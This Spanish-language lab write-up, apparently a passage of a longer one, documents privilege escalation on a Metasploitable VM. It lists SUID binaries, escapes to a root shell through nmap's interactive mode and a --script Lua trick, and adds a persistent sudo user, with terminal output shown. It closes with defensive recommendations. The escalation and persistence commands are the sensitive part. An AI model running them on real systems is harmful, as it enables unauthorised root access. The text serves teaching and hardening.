

- find: herramienta para búsqueda de archivos en el sistema.
- /: indica que la búsqueda comienza desde el directorio raíz.
- -type f: busca únicamente archivos (no directorios).

Esta opción activa el modo interactivo de nmap, que estuvo presente en versiones antiguas. En este modo, el usuario puede ejecutar comandos de red, pero también se pueden invocar comandos del sistema operativo. Esta función fue eliminada en versiones más recientes debido a su potencial peligro.

4. Obtención de Shell como Root

Dentro del modo interactivo de nmap, se ha ejecutado el comando `!sh` para crear una shell

5. Confirmación de Escalada de Privilegios

Confirmar que la escalada de privilegios ha sido exitosa mediante el comando **whoami** y recibiendo **root** como respuesta

Esto indica que los comandos posteriores se ejecutan con permisos de administrador del sistema.

6. Verificación del Sistema Operativo

Para obtener información sobre el sistema operativo y el kernel, se ha ejecutado el comando `uname -a` para ver que la versión del SO y el kernel son: **Linux version 2.6.24-16-server (buldd@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:58:00 UTC 2008**

7. Persistencia: Creación de Usuario con Privilegios

Para mantener el acceso privilegiado tras la escalada de privilegios, se creó un nuevo usuario con permisos de administrador utilizando el siguiente comando:

useradd -m -G sudo y el nombre de usuario

Explicación:

- **useradd**: comando para crear un nuevo usuario en el sistema.
- **-m**: crea automáticamente el directorio home del nuevo usuario.
- **-G sudo**: añade al usuario al grupo sudo, otorgándole privilegios de superusuario mediante el uso del comando sudo.

Este usuario persistente permite mantener acceso administrativo al sistema sin necesidad de volver a explotar la vulnerabilidad.

```
File Actions Edit View Help
344139 40 -rwsr-xr-x 1 root root 37360 Apr 2 2008 /usr/bin/gpasswd
344317 16 -rwsr-xr-x 1 root root 12296 Dec 10 2007 /usr/bin/traceroute6.iputils
344359 112 -rwsr-xr-x 2 root root 187776 Feb 25 2008 /usr/bin/audiod
344959 12 -rwsr-xr-x 1 root root 12020 Nov 22 2007 /usr/bin/netkit-rlogin
344230 12 -rwsr-xr-x 1 root root 11048 Dec 10 2007 /usr/bin/arping
344231 40 -rwsr-sr-x 1 daemon daemon 38404 Feb 20 2007 /usr/bin/at
344355 20 -rwsr-xr-x 1 root root 19144 Apr 2 2008 /usr/bin/newgrp
344429 28 -rwsr-xr-x 1 root root 28624 Apr 2 2008 /usr/bin/chfn
344956 768 -rwsr-xr-x 1 root root 788676 Apr 8 2008 /usr/bin/nmap
344441 24 -rwsr-xr-x 1 root root 23992 Apr 2 2008 /usr/bin/chsh
344957 16 -rwsr-xr-x 1 root root 15952 Nov 22 2007 /usr/bin/netkit-rdp
344771 32 -rwsr-xr-x 1 root root 29104 Apr 2 2008 /usr/bin/passwd
344792 48 -rwsr-xr-x 1 root root 46884 Mar 31 2008 /usr/bin/mtr
344602 16 -rwsr-sr-x 1 libuid libuid 12316 Mar 27 2008 /usr/sbin/uid
354626 268 -rwsr-xr-x 1 root dip 269256 Oct 4 2007 /usr/sbin/pppd
"P"H"H"H"H"H"H"H"H
msfadmin@metasploitable:~$ TF=$(mktemp)
msfadmin@metasploitable:~$ echo 'os.execute("/bin/sh")' > $TF
msfadmin@metasploitable:~$ nmap --script=$TF

Starting Nmap 4.52 ( http://insecure.org ) at 2025-07-10 12:35 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.500 seconds
msfadmin@metasploitable:~$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> nmap --interactive
msfadmin@metasploitable:~$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> nmap --interactive
Unknown command (nmap>) -- press h <enter> for help
nmap> ish
sh-3.2# who am i
msfadmin pts/1 2025-07-10 12:32 (10.0.2.15)
sh-3.2# whoami
root
sh-3.2# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
sh-3.2#
```

Conclusión

Se logró una escalada de privilegios efectiva desde el usuario msfadmin hasta root, aprovechando un binario con permisos SUID (nmap) y una funcionalidad vulnerable (--interactive). Este escenario refleja cómo configuraciones incorrectas de permisos pueden ser tan peligrosas como fallos en el código fuente, permitiendo el compromiso total del sistema.

Medidas Defensivas Recomendadas

Para prevenir este tipo de ataque basado en binarios con permisos SUID y funcionalidades vulnerables, se recomiendan las siguientes acciones defensivas:

1. Auditoría periódica de archivos con permisos SUID:

- Utilizar herramientas automatizadas o comandos como `find / -perm -4000 -type f` para identificar binarios potencialmente peligrosos.
- Remover el bit SUID de aquellos binarios que no sean necesarios.

2. Eliminar binarios obsoletos o peligrosos como nmap con --interactive:

- Actualizar nmap a versiones modernas que no incluyan funciones interactivas vulnerables.
- Evitar el uso de herramientas innecesarias con privilegios elevados.

3. Control de acceso y privilegios mínimos:

- Aplicar el principio de menor privilegio: los usuarios deben tener únicamente los permisos necesarios.
- Limitar el uso del grupo sudo a administradores verificados.

4. Deshabilitar servicios inseguros como Telnet:

- Sustituir Telnet por protocolos seguros como SSH con autenticación fuerte.
- Monitorizar intentos de conexión a servicios obsoletos.

5. Monitorización y alertas:

- Implementar sistemas de detección de intrusos (IDS) para alertar sobre comportamientos anómalos como la creación de usuarios con privilegios elevados.
- Registrar y revisar cambios en /etc/passwd, /etc/sudoers y archivos críticos del sistema.